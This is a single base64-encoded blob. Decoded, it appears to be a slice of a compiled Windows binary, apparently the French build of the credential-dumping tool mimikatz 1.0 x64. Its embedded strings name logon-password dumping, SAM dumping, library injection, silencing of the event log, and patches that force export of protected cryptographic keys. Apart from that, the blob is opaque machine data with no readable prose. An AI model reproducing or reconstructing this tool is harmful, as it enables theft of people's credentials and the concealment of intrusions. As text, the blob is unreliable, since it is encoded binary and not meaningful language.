8ATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAAAAAAE0AaQBzAGMASQBuAGYAbwBTAHQAcgBlAGEAbQAAAAAAVQBuAGwAbwBhAGQAZQBkAE0AbwBkAHUAbABlAEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAAAAAABGAHUAbgBjAHQAaQBvAG4AVABhAGIAbABlAFMAdAByAGUAYQBtAAAASABhAG4AZABsAGUARABhAHQAYQBTAHQAcgBlAGEAbQAAAAAAAAAAAEMAbwBtAG0AZQBuAHQAUwB0AHIAZQBhAG0AVwAAAAAAQwBvAG0AbQBlAG4AdABTAHQAcgBlAGEAbQBBAAAAAABNAGUAbQBvAHIAeQA2ADQATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAVABoAHIAZQBhAGQARQB4AEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AAAAAAAAAAABFAHgAYwBlAHAAdABpAG8AbgBTAHQAcgBlAGEAbQAAAE0AZQBtAG8AcgB5AEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAAAAAABNAG8AZAB1AGwAZQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAAAAAAAAVABoAHIAZQBhAGQATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAAAAAAFIAZQBzAGUAcgB2AGUAZABTAHQAcgBlAGEAbQAxAAAAUgBlAHMAZQByAHYAZQBkAFMAdAByAGUAYQBtADAAAABVAG4AdQBzAGUAZABTAHQAcgBlAGEAbQAAAAAAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAASQBnAG4AbwByAGUASQBuAGEAYwBjAGUAcwBzAGkAYgBsAGUATQBlAG0AbwByAHkAAAAAAAAAAAAAAAAAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFAAcgBpAHYAYQB0AGUAVwByAGkAdABlAEMAbwBwAHkATQBlAG0AbwByAHkAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAEYAdQBsAGwAQQB1AHgAaQBsAGkAYQByAHkAUwB0AGEAdABlAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABvAHUAdABBAHUAeABpAGwAaQBhAHIAeQBTAHQAYQB0AGUAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAQwBvAGQAZQBTAGUAZwBzAAAAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAVABoAHIAZQBhAGQASQBuAGYAbwAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgARgB1AGwAbABNAGUAbQBvAHIAeQBJAG4AZgBvAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABvAHUAdABPAHAAdABpAG8AbgBhAGwARABhAHQAYQAAAAAAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAGkAdgBhAHQAZQBSAGUAYQBkAFcAcgBpAHQAZQBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAG8AYwBlAHMAcwBUAGgAcgBlAGEAZABEAGEAdABhAAAAAAAAAE0AaQBuAGkARAB1AG0AcABGAGkAbAB0AGUAcgBNAG8AZAB1AGwAZQBQAGEAdABoAHMAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgASQBuAGQAaQByAGUAYwB0AGwAeQBSAGUAZgBlAHIAZQBuAGMAZQBkAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABVAG4AbABvAGEAZABlAGQATQBvAGQAdQBsAGUAcwAAAE0AaQBuAGkARAB1AG0AcABTAGMAYQBuAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAARgBpAGwAdABlAHIATQBlAG0AbwByAHkAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABIAGEAbgBkAGwAZQBEAGEAdABhAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABEAGEAdABhAFMAZQBnAHMAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAATgBvAHIAbQBhAGwAAAAAAFMAZQByAHYAaQBjAGUAIAA6AC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QAZQBzACAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAHMAZQByAHYAaQBjAGUAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZABlAHMAIABoAGEAbgBkAGwAZQBzAAAAAAAAAAAAaABhAG4AZABsAGUAAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAdABvAGsAZQBuAHMAIABkACcAYQBjAGMA6ABzAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAAAAAAAAAAAB3AGkAbgBtAGkAbgBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAIAA3AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABBAG4AdABpAC0AZwBwAG8AIABlAHQAIABwAGEAdABjAGgAcwAgAGQAaQB2AGUAcgBzAAAAAAAAAG4AbwBnAHAAbwAAAAAAAABEAHUAbQBwACAAZABlACAAUwBBAE0AAABzAGEAbQBkAHUAbQBwAAAASQBuAGoAZQBjAHQAZQB1AHIAIABkAGUAIABsAGkAYgByAGEAaQByAGkAZQBzAAAAaQBuAGoAZQBjAHQAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByAAAAdABzAAAAAABGAG8AbgBjAHQAaQBvAG4AcwAgAGQAaQB2AGUAcgBzAGUAcwAgAG4AJwBhAHkAYQBuAHQAIABwAGEAcwAgAGUAbgBjAG8AcgBlACAAYQBzAHMAZQB6ACAAZABlACAAYwBvAHIAcABzACAAcABvAHUAcgAgAGEAdgBvAGkAcgAgAGwAZQB1AHIAcwAgAHAAcgBvAHAAcgBlAHMAIABtAG8AZAB1AGwAZQAAAAAAAAAAAGQAaQB2AGUAcgBzAAAAAABEAHUAbQBwACAAZABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAHAAYQByAC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IAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAbABhACAAQwByAHkAcAB0AG8AQQBQAEkAIABjAG8AdQByAGEAbgB0AGUAIABwAG8AdQByACAAbAAnAGUAeABwAG8AcgB0ACAAZABlACAAYwBsAOkAcwAgAG4AbwBuACAAZQB4AHAAbwByAHQAYQBiAGwAZQAAAHAAYQB0AGMAaABjAGEAcABpAAAAAAAAAFAAcgBvAHYAaQBkAGUAcgBzACAAQwByAHkAcAB0AG8AQQBQAEkAIAA6AAAAAAAAAAAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAVgBlAGMAdABvAHIAUAByAG8AdgBpAGQAZQByAHMAIAA6ACAAAAAAAAAAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMATgBHACAAOgAAAG0AbwBkAF8AYwByAHkAcAB0AG8AbgBnADoAOgBnAGUAdABWAGUAYwB0AG8AcgBQAHIAbwB2AGkAZABlAHIAcwAgADoAIAAAAEUAbQBwAGwAYQBjAGUAbQBlAG4AdAAgADoAIAAnAAAAAAAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvADoAOgBnAGUAdABMAGkAcwB0AFMAeQBzAHQAZQBtAFMAdABvAHIAZQBzACAAOgAgAAAAAAAgAGkAbgB0AHIAbwB1AHYAYQBiAGwAZQAgACEAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIABkACcAYQByAGcAdQBtAGUAbgB0AHMALAAgAGEAdAB0AGUAbgBkAHUAIAA6ACAAWwBtAGEAYwBoAGkAbgBlAF0AIABbAHAAcgBvAHYAaQBkAGUAcgAgAHAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAF0AAABtAGEAYwBoAGkAbgBlAAAAdQBzAGUAcgAAAAAAAAAAAF0AIABDAGwA6QBzACAAQwByAHkAcAB0AG8AQQBQAEkAIAA6AAAAAABbAAAAAAAAAAkAIAAtACAAAAAAAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAATwBVAEkAAABOAE8ATgAAAAkACQBFAHgAcABvAHIAdABhAGIAaQBsAGkAdADpACAAOgAgAAAAAAAJAAkAVABhAGkAbABsAGUAIABjAGwA6QAgACAAIAAgADoAIAAAAAAALgBwAHYAawAAAAAAAAAAAGMAYQBwAGkAXwAAAAAAAAAnACAAOgAgAAAAAAAAAAAACQAJAEUAeABwAG8AcgB0ACAAcAByAGkAdgDpACAAZABhAG4AcwAgACAAJwAAAAAAAAAAAAAAAAAJAAkACQBtAG8AZABfAGMAcgB5AHAAdABvAGEAcABpADoAOgBnAGUAdABQAHIAaQB2AGEAdABlAEsAZQB5AC8AUAByAGkAdgBhAHQAZQBLAGUAeQBCAGwAbwBiAFQAbwBQAFYASwAgADoAIAAAAAAACQAJACoAIABFAHIAcgBlAHUAcgAgAGQAZQAgAGMAbADpACAAOwAgAAAAAAAAAAAACQAJACoAIABFAHIAcgBlAHUAcgAgAGQAJwBhAGMAcQB1AGkAcwBpAHQAaQBvAG4AIABkAGUAIABsAGEAIABjAGwA6QAgADsAIAAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvAGEAcABpADoAOgBnAGUAdABWAGUAYwB0AG8AcgBDAG8AbgB0AGEAaQBuAGUAcgBzACAAOgAgAAAAAAAAAF0AIABDAGwA6QBzACAAQwBOAEcAIAA6AAAAAAAAAAAAYwBuAGcAXwAAAAAAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAACQAJAAkAbQBvAGQAXwBjAHIAeQBwAHQAbwBuAGcAOgA6AGcAZQB0AFAAcgBpAHYAYQB0AGUASwBlAHkALwBQAHIAaQB2AGEAdABlAEsAZQB5AEIAbABvAGIAVABvAFAAVgBLACAAOgAgAAAAAAAAAG0AbwBkAF8AYwByAHkAcAB0AG8AbgBnADoAOgBnAGUAdABWAGUAYwB0AG8AcgBDAG8AbgB0AGEAaQBuAGUAcgBzACAAOgAgAAAAAABNAHkAAAAAAFwAAABbAGUAbQBwAHQAeQBdAAAACQAJAEMAbwBuAHQAYQBpAG4AZQByACAAQwBsAOkAIAA6ACAAAAAAAAkACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAAAkACQAJAEUAcgByAGUAdQByACAAOgAgAEMAbADpACAAZABlACAAdAB5AHAAZQAgAG4AQwByAHkAcAB0ACwAIABzAGEAbgBzACAAbgBDAHIAeQBwAHQAIAA/AAAAAAAAAHAAZgB4AAAACQAJAAkAAABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgADoAIAAAAAAAAAAAAGQAZQByAAAACQAJAEUAeABwAG8AcgB0ACAAcAB1AGIAbABpAGMAIABkAGEAbgBzACAAJwAAAAAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgADoAIAAAAAAAAAAAAHIAcwBhAGUAbgBoAC4AZABsAGwAAAAAAENQRXhwb3J0S2V5AAAAAAAAAAAAAAAAAFAAYQB0AGMAaAAgAEMAUgBZAFAAVABfAEEAUgBDAEgASQBWAEEAQgBMAEUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAFAAYQB0AGMAaAAgAEMAUgBZAFAAVABfAEUAWABQAE8AUgBUAEEAQgBMAEUAIAB8ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgADoAIAAAAAAAAAAAAFAAYQB0AHQAZQByAG4AcwAgAEMAUgBZAFAAVABfAEUAWABQAE8AUgBUAEEAQgBMAEUAIAB8ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgAGUAdAAgAEMAUgBZAFAAVABfAEEAUgBDAEgASQBWAEEAQgBMAEUAIAB0AHIAbwB1AHYA6QBzACAAIQAAAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAAAAbgBjAHIAeQBwAHQAcAByAG8AdgAuAGQAbABsAAAAAABLAGUAeQBJAHMAbwAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AaQB0AGkAYQBsAGkAcwBlAHIAIABsAGEAIABDAE4ARwAgADoAIAAAAAAAUABhAHMAIABkAGUAIABDAE4ARwAgAD8AAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgAHAAbwB1AHIAIABuAGUAIABwAGwAdQBzACAAcwB1AHAAZQByAHYAaQBzAGUAcgAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAZQAgAHIAbwB1AHQAYQBnAGUAAAAAAAAAAABuAG8AcgBvAHUAdABlAG0AbwBuAAAAAABbAHMAdQBwAGUAcgAgAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsACcAbwBiAHMAZQByAHYAYQB0AGUAdQByACAAZAAnAOkAdgDpAG4AZQBtAGUAbgB0AHMAIABwAG8AdQByACAAbgBlACAAcABsAHUAcwAgAHIAaQBlAG4AIABlAG4AcgBlAGcAaQBzAHQAcgBlAHIAAABlAHYAZQBuAHQAZAByAG8AcAAAAAAAAABQAGEAdABjAGgAIABsAGUAIABiAG8AdQB0AG8AbgAgAGEAbgBuAHUAbABlAHIAIABkAGUAIABXAGkAbgBkAG8AdwBzACAAWABQACAAZQB0ACAAMgAwADAAMwAgAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABwAG8AdQByACAAZADpAHYAZQByAHIAbwB1AGkAbABsAGUAcgAgAHUAbgBlACAAcwBlAHMAcwBpAG8AbgAAAGMAYQBuAGMAZQBsAGEAdABvAHIAAAAAAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGwAZQBzACAAcwBlAGMAcgBlAHQAcwAgAHUAdABpAGwAaQBzAGEAdABlAHUAcgAAAHMAZQBjAHIAZQB0AHMAAABBAG4AdABpAC0AZADpAHQAbwB1AHIAcwAgAFMAUgAAADoAbgBvAGQAZQB0AG8AdQByAAAAAAAAAAAAAAAAAAAARADpAGMAaABpAGYAZgByAGUAIABsAGUAcwAgAGYAaQBjAGgAaQBlAHIAcwAgAFAASQBUACAAKABRAHUAZQBzAHQAIAB2AFcAbwByAGsAcwBwAGEAYwBlACAAQwBsAGkAZQBuAHQAKQAAAAAAAAAAADoAcABpAHQAbQBlAAAAAABOdE9wZW5Qcm9jZXNzAAAARADpAHQAbwB1AHIAIAB0AHIAbwB1AHYA6QAgAGUAdAAgAAAAAAAAAHAAYQB0AGMAaADpACAAOgApAAAAAAAAAE4ATwBOACAAcABhAHQAYwBoAOkAIAA6ACgAAAAAAAAARADpAHQAbwB1AHIAIABuAG8AbgAgAHQAcgBvAHUAdgDpAAAAAAAAAHcAaQBuAGwAbwBnAG8AbgAuAGUAeABlAAAAAAAAAAAAZABzAE4AYwBTAGUAcgB2AGkAYwBlAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAAAAAABOAG8AbQBiAHIAZQAgAGQAZQAgAHMAZQBjAHIAZQB0AHMAIAA6ACAAAAAAAAAAAABHAEUATgBFAFIASQBDAAAARABPAE0AQQBJAE4AXwBQAEEAUwBTAFcATwBSAEQAAABEAE8ATQBBAEkATgBfAEMARQBSAFQASQBGAEkAQwBBAFQARQAAAAAARABPAE0AQQBJAE4AXwBWAEkAUwBJAEIATABFAF8AUABBAFMAUwBXAE8AUgBEAAAARwBFAE4ARQBSAEkAQwBfAEMARQBSAFQASQBGAEkAQwBBAFQAAAAAAEQATwBNAEEASQBOAF8ARQBYAFQARQBOAEQARQBEAAAAPwAAAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABDAG8AbQBtAGUAbgB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgAC8AIAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAEMAcgBlAGQARQBuAHUAbQBlAHIAYQB0AGUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAIBb6BhvZIk6NM5Z3020Wg9plFhwcUsXz8NAqvzF4CHbmklouC9KbNx6i39cAwj+OaPGMaaMvXKkihuS1YeteI9VlgswqENTsGKg2nwTjV2BwI6QiOS3dsK1BJOlqZ6r9TesmSbiOIXhdHcy5ZEjsRBMRz++giJqUdBjdREzm/s7yu3dROYSTpc8eU9BZrpQDslrBe5u55V7YJ3/xCmGuX2YyJw1u7zv+j0G+Ta/Pn6ix1auy6/pQmHwHf1ln1In6iShp7JtFLNF+Lb3c8GDhPTMzfPjVBXRRgdXLNLT1tTX9uvYHAAJ7GcK2Rbe8fIBLV5IAgxfDRkaKB4fICUqKy5QSVQAAAAAAAAAAAAAAAAAZABpAHYAZQByAHMAOgA6ADoAcABpAHQAbQBlACAAZgBpAGwAZQAuAHAAaQB0ACAAWwBmAGkAbABlAC4AcgBkAHAAXQAAAAAAAAAAAA